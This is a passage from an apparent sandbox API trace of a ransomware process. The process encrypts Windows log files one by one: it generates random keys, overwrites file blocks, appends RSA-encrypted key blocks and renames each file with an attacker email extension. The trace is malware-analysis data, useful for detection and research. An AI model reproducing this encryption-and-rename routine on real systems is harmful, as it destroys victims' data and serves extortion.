lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.647] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.647] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.647] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.647] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.647] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.647] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.647] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.648] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.648] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="oAZUm0oEVlpBtbf8d//WM8lW8GiWhe9/THN3y5PeaNtn1fYisuiykWuCfvVtVBVp\nzkJEekzYlvOSLHi9EeTlpwUsex6I2KjXhMgxUDWSmu8eyooXx0R9AqRWQb9uxN4f\nk+r1OCqI88to/8rFsGbpzjOHg/qmfp/kQlMdbbZSi3QRddPzBPD1QwGRuHDsnhpT\n9cMLOo3DDrsMeAf1Xjr14lJKwWB8apWhlDhONx1h6r1QJ/JfryTcwQhkB+8BUmDi\nuv3KqKd2UA0oJKzbDgI53cp2xSXi7ZAmL8SUpQs1MFa9nIBLeDr0I16L/TS+pstc\nldCIKLhfLv64/mSatzJnCg==\n", pcchString=0x2e3f9a8) returned 1 [0154.648] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.648] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.648] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.648] CloseHandle (hObject=0x694) returned 1 [0154.648] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.648] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.650] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b1628 | out: hHeap=0x570000) returned 1 [0154.650] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0154.650] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2030 | out: hHeap=0x570000) returned 1 [0154.650] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0154.650] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d18c0 [0154.650] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.650] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.650] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl", dwFileAttributes=0x80) returned 1 [0154.650] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1e10 [0154.650] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0620 [0154.650] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1e10 | out: hHeap=0x570000) returned 1 [0154.650] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.650] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.650] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.650] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.650] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.679] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.679] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.679] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.679] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.679] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.679] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.680] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="JHxVpXAm5YkrDsAm9sATzOmeCZJ7s1h41m6awkwuSSqiOTdTiZmvVJnMnKFZHEra\n/TTkd0TAMgqqkutiLjgWTEDuL5iuuuXpff2tVQlUUVf/jzOUlkd+XIbKP7Zzu5T0\n1e/cKOkN1xbbT4b/I0QZhl9H0bq4XpThBcXIk1ipbVHv9MrVQ+C0mFZKFWp4CVi9\n1BTjFI5kNpdIxxSvP+ECZzhEvRCD5f/TBypw+5zupeexXYrGrrWGDB92v0TGrRjP\n4T1xL3HP14PBk9fLa2O6tm2NVQ4DxUaajoSH2i4ty+vQ02uyJEArNdBY1jR1XP5x\nX4/VPw7nptcVQUKJ+YO9BA==\n", pcchString=0x2e3f9a8) returned 1 [0154.680] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.680] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.680] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.680] CloseHandle (hObject=0x694) returned 1 [0154.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.680] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.008.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0154.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0154.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d18c0 | out: hHeap=0x570000) returned 1 [0154.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0154.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2250 [0154.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0154.682] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.682] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl", dwFileAttributes=0x80) returned 1 [0154.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2690 [0154.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0a58 [0154.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2690 | out: hHeap=0x570000) returned 1 [0154.683] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.683] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.683] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.691] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.691] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.691] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.691] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.691] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.691] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.691] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.691] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.691] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="eyGDn1FVY/XStiK1ptgg7SxBiYQrwjGixGAyyrORXemWUEmb6IjfLRI8g6mbpxyo\n+1rHRnoW3xj45+dY7vW9BleplW9mbN0Pdm3sJLER2bXSf9oemmUuWLmfYCfoZLq+\nlEP30FDIsYyiklT/k+cRHJUBKy2PMnBNf5UHnOe6pJnahcFwd40vFa+I2lLk3U+Y\nomiNCzisgv2ibqrLwriLhEHaEvYKsvLTBJ6Opqh54NoPSRQgmXP+d/hLOuPm+S/E\nM23GxgPpkzvSwEnPVG3D6xcCoBXIIkD/5d6hpQ4swVPagGkRRZinyqbSy4Z4Q4wH\nr9foGS0weq3XVLILnDp4aw==\n", pcchString=0x2e3f9a8) returned 1 [0154.692] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.692] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.692] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.692] CloseHandle (hObject=0x694) returned 1 [0154.692] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.692] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.007.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0a58 | out: hHeap=0x570000) returned 1 [0154.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0154.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2250 | out: hHeap=0x570000) returned 1 [0154.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0154.695] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1a58 [0154.695] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0154.695] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.695] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl", dwFileAttributes=0x80) returned 1 [0154.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1948 [0154.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b11f0 [0154.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1948 | out: hHeap=0x570000) returned 1 [0154.696] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.696] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.696] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.697] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.697] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.697] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.697] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.697] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.697] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.698] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.698] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="KgP6Sj04BcHbBcz22KTnzfMx3EFigc8Y8c1/SFFhqIhKPoG5Z6bmDy23NJjbnjPe\nu9pJ44qHngtu04OGvi6mC1aP2YF6YLKqNBg0gojVkVHEq/7Y8d3z7dgVwCfyFi3s\nHXHIqXKAp9gZHdEdLfOYTWD+0wxRKYcUmAwmVnkwbVOa4hOQJkw9zBc4cuI1KYk3\nNo8GOS8Be4aPZuuKWfi4PwX8EkR5XvP3sRt1OxTYqiEBZ72XChqEb7AugYI0SRhU\nn0PBFqEypjcJVqCEJVMyiKgqVh6xUBY/TOcnhBgZNiMKEwzjsN9IP3Hje3doCo/3\n9iwlJM2R8b9CZW4Upstggw==\n", pcchString=0x2e3f9a8) returned 1 [0154.698] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.698] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.698] CloseHandle (hObject=0x694) returned 1 [0154.698] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.698] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b11f0 | out: hHeap=0x570000) returned 1 [0154.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0154.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1a58 | out: hHeap=0x570000) returned 1 [0154.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0154.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1838 [0154.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.707] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.707] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl", dwFileAttributes=0x80) returned 1 [0154.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1fa8 [0154.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b1628 [0154.711] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1fa8 | out: hHeap=0x570000) returned 1 [0154.712] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.712] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.712] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.712] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.761] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.761] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.761] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.761] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.761] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.761] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.761] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.762] CryptBinaryToStringA (in: 